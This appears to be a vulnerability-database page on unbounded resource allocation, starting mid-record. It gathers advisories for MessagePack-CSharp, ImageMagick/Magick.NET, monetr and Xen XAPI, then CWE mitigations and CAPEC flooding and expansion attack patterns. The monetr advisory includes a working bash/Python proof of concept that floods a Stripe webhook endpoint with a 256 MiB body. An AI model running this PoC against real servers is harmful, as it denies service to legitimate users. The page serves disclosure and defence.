"details": "## Summary\n\nWhen MessagePack-CSharp decompresses `Lz4Block` or `Lz4BlockArray` payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.\n\nA small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.\n\n## Impact\n\nApplications are affected when they deserialize attacker-controlled MessagePack payloads with `MessagePackCompression.Lz4Block` or `MessagePackCompression.Lz4BlockArray` enabled.\n\nIn the `Lz4Block` case, an attacker-controlled integer is used to request the destination span. In the `Lz4BlockArray` case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.\n\nThis advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.\n\n## Affected components\n\n- Package: `MessagePack`\n- Feature: LZ4 compressed MessagePack payloads\n- APIs: `MessagePackSerializer` with `WithCompression(MessagePackCompression.Lz4Block)` or `WithCompression(MessagePackCompression.Lz4BlockArray)`\n- Internal routine: `MessagePackSerializer.TryDecompress`\n- Finding ID: `MESSAGEPACKCSHARP-OPEN-004`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, do not enable MessagePack-CSharp\u0027s built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-OPEN-004`: LZ4 decompression allocation from unbounded uncompressed length\n- `MESSAGEPACKCSHARP-011`: duplicate decompression-bomb finding\n- CWE-409: Improper Handling of Highly Compressed Data\n- CWE-770: Allocation of Resources Without Limits or Throttling",
"id": "GHSA-v72x-2h86-7f8m",
"modified": "2026-06-25T18:53:44Z",
"published": "2026-06-25T18:53:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-v72x-2h86-7f8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48510"
},
{
"type": "PACKAGE",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MessagePack-CSharp: LZ4 decompression allocates from unbounded declared output lengths"
}
GHSA-V7G2-M8C5-MF84
Vulnerability from github – Published: 2026-02-24 15:44 – Updated: 2026-02-24 15:44A crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort.
Found via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25985"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T15:44:19Z",
"nvd_published_at": "2026-02-24T02:16:02Z",
"severity": "HIGH"
},
"details": "A crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort.\n\nFound via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer.",
"id": "GHSA-v7g2-m8c5-mf84",
"modified": "2026-02-24T15:44:19Z",
"published": "2026-02-24T15:44:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v7g2-m8c5-mf84"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25985"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/commit/1a51eb9af00c36724660e294520878fd1f13e312"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
},
{
"type": "WEB",
"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder"
}
GHSA-V7XQ-3WX6-FQC2
Vulnerability from github – Published: 2026-04-14 00:03 – Updated: 2026-04-24 20:50Summary
The public Stripe webhook endpoint fully reads the request body into memory before validating the Stripe signature. A remote unauthenticated attacker can send oversized POST bodies and cause substantial memory growth, leading to denial of service.
Details
When Stripe webhooks are enabled, the Stripe webhook route is reachable without authentication. The handler only requires that a Stripe-Signature header be present, then buffers the entire request body in memory and only afterward attempts Stripe signature verification.
Because body buffering happens before signature validation, memory consumption is controlled by the attacker-supplied payload size even when the signature is invalid. Large requests or repeated requests can exhaust available memory and make the service unresponsive or crash.
This issue depends on Stripe webhooks being enabled. If an upstream proxy or load balancer already enforces a strict request-body limit smaller than the attacker payload, exploitability is reduced accordingly.
PoC
URL="http://127.0.0.1:4000/api/stripe/webhook"
PROC_NAME="monetr"
TOTAL_KIB="$(awk '/MemTotal:/ {print $2}' /proc/meminfo)"
python3 - <<'PY' | curl -s -o /dev/null \
--limit-rate 10m \
-H 'Stripe-Signature: t=1,v1=deadbeef' \
--data-binary @- \
"$URL" &
import sys
sys.stdout.buffer.write(b"A" * (256 * 1024 * 1024))
PY
REQ_PID=$!
while kill -0 "$REQ_PID" 2>/dev/null; do
ps -C "$PROC_NAME" -o rss=,%cpu= | awk -v total="$TOTAL_KIB" '
{
printf "%s mem=%.2fMiB / %.3fGiB cpu=%s%%\n", "'"$PROC_NAME"'", $1/1024, total/1024/1024, $2
}
'
sleep 1
done
wait "$REQ_PID"
# monetr mem rises substantially while processing the invalid webhook body before signature validation fails
Impact
- Type: Denial of service / uncontrolled resource consumption (CWE-400)
- Who is impacted: Internet-reachable monetr deployments that have both Stripe billing and Stripe webhooks enabled (Stripe.Enabled and Stripe.WebhooksEnabled). In practice this is the hosted/SaaS configuration. Self-hosted instances are very unlikely to be affected, because Stripe billing is opt-in, is not part of a typical self-hosted setup, and the webhook route short-circuits to 404 when it is not enabled; meaning the unbounded read is unreachable on a default self-hosted deployment.
- Security impact: A remote, unauthenticated attacker can cause the monetr server process to buffer attacker-controlled payloads into memory before any signature validation occurs. Sufficiently large or repeated requests can drive memory consumption high enough to make the API unresponsive or crash the process, denying service to all legitimate users of the affected instance — not just users of the billing surface.
- Attack preconditions: The attacker must be able to reach the /api/stripe/webhook endpoint over the network and the target instance must have Stripe webhooks enabled. No authentication, prior account, user interaction, or knowledge of the Stripe webhook secret is required. Exploitability is reduced (and may be effectively eliminated) on deployments where an upstream proxy or load balancer enforces a request-body size limit smaller than the attacker's payload.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/monetr/monetr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40481"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T00:03:36Z",
"nvd_published_at": "2026-04-17T23:16:12Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe public Stripe webhook endpoint fully reads the request body into memory before validating the Stripe signature. A remote unauthenticated attacker can send oversized POST bodies and cause substantial memory growth, leading to denial of service.\n\n### Details\n\nWhen Stripe webhooks are enabled, the Stripe webhook route is reachable without authentication. The handler only requires that a `Stripe-Signature` header be present, then buffers the entire request body in memory and only afterward attempts Stripe signature verification.\n\nBecause body buffering happens before signature validation, memory consumption is controlled by the attacker-supplied payload size even when the signature is invalid. Large requests or repeated requests can exhaust available memory and make the service unresponsive or crash.\n\nThis issue depends on Stripe webhooks being enabled. If an upstream proxy or load balancer already enforces a strict request-body limit smaller than the attacker payload, exploitability is reduced accordingly.\n\n### PoC\n\n```bash\nURL=\"http://127.0.0.1:4000/api/stripe/webhook\"\nPROC_NAME=\"monetr\"\nTOTAL_KIB=\"$(awk \u0027/MemTotal:/ {print $2}\u0027 /proc/meminfo)\"\n\npython3 - \u003c\u003c\u0027PY\u0027 | curl -s -o /dev/null \\\n --limit-rate 10m \\\n -H \u0027Stripe-Signature: t=1,v1=deadbeef\u0027 \\\n --data-binary @- \\\n \"$URL\" \u0026\nimport sys\nsys.stdout.buffer.write(b\"A\" * (256 * 1024 * 1024))\nPY\nREQ_PID=$!\n\nwhile kill -0 \"$REQ_PID\" 2\u003e/dev/null; do\n ps -C \"$PROC_NAME\" -o rss=,%cpu= | awk -v total=\"$TOTAL_KIB\" \u0027\n {\n printf \"%s mem=%.2fMiB / %.3fGiB cpu=%s%%\\n\", \"\u0027\"$PROC_NAME\"\u0027\", $1/1024, total/1024/1024, $2\n }\n \u0027\n sleep 1\ndone\n\nwait \"$REQ_PID\"\n# monetr mem rises substantially while processing the invalid webhook body before signature validation fails\n```\n\n### Impact\n\n- Type: Denial of service / uncontrolled resource consumption (CWE-400)\n- Who is impacted: Internet-reachable monetr deployments that have both Stripe billing and Stripe webhooks enabled\n (Stripe.Enabled and Stripe.WebhooksEnabled). In practice this is the hosted/SaaS configuration. Self-hosted instances\n are very unlikely to be affected, because Stripe billing is opt-in, is not part of a typical self-hosted setup, and\n the webhook route short-circuits to 404 when it is not enabled; meaning the unbounded read is unreachable on a default\n self-hosted deployment.\n- Security impact: A remote, unauthenticated attacker can cause the monetr server process to buffer attacker-controlled\n payloads into memory before any signature validation occurs. Sufficiently large or repeated requests can drive memory\n consumption high enough to make the API unresponsive or crash the process, denying service to all legitimate users of\n the affected instance \u2014 not just users of the billing surface.\n- Attack preconditions: The attacker must be able to reach the /api/stripe/webhook endpoint over the network and the\n target instance must have Stripe webhooks enabled. No authentication, prior account, user interaction, or knowledge of\n the Stripe webhook secret is required. Exploitability is reduced (and may be effectively eliminated) on deployments\n where an upstream proxy or load balancer enforces a request-body size limit smaller than the attacker\u0027s payload.",
"id": "GHSA-v7xq-3wx6-fqc2",
"modified": "2026-04-24T20:50:58Z",
"published": "2026-04-14T00:03:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/monetr/monetr/security/advisories/GHSA-v7xq-3wx6-fqc2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40481"
},
{
"type": "PACKAGE",
"url": "https://github.com/monetr/monetr"
},
{
"type": "WEB",
"url": "https://github.com/monetr/monetr/releases/tag/v1.12.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "In monetr, unauthenticated Stripe webhook reads attacker-sized request bodies before signature validation"
}
GHSA-V88G-Q782-JGP2
Vulnerability from github – Published: 2022-10-11 19:00 – Updated: 2022-10-14 12:00XAPI open file limit DoS It is possible for an unauthenticated client on the network to cause XAPI to hit its file-descriptor limit. This causes XAPI to be unable to accept new requests for other (trusted) clients, and blocks XAPI from carrying out any tasks that require the opening of file descriptors.
{
"affected": [],
"aliases": [
"CVE-2022-33749"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-11T13:15:00Z",
"severity": "MODERATE"
},
"details": "XAPI open file limit DoS It is possible for an unauthenticated client on the network to cause XAPI to hit its file-descriptor limit. This causes XAPI to be unable to accept new requests for other (trusted) clients, and blocks XAPI from carrying out any tasks that require the opening of file descriptors.",
"id": "GHSA-v88g-q782-jgp2",
"modified": "2022-10-14T12:00:17Z",
"published": "2022-10-11T19:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33749"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202402-07"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-413.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/11/4"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-413.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.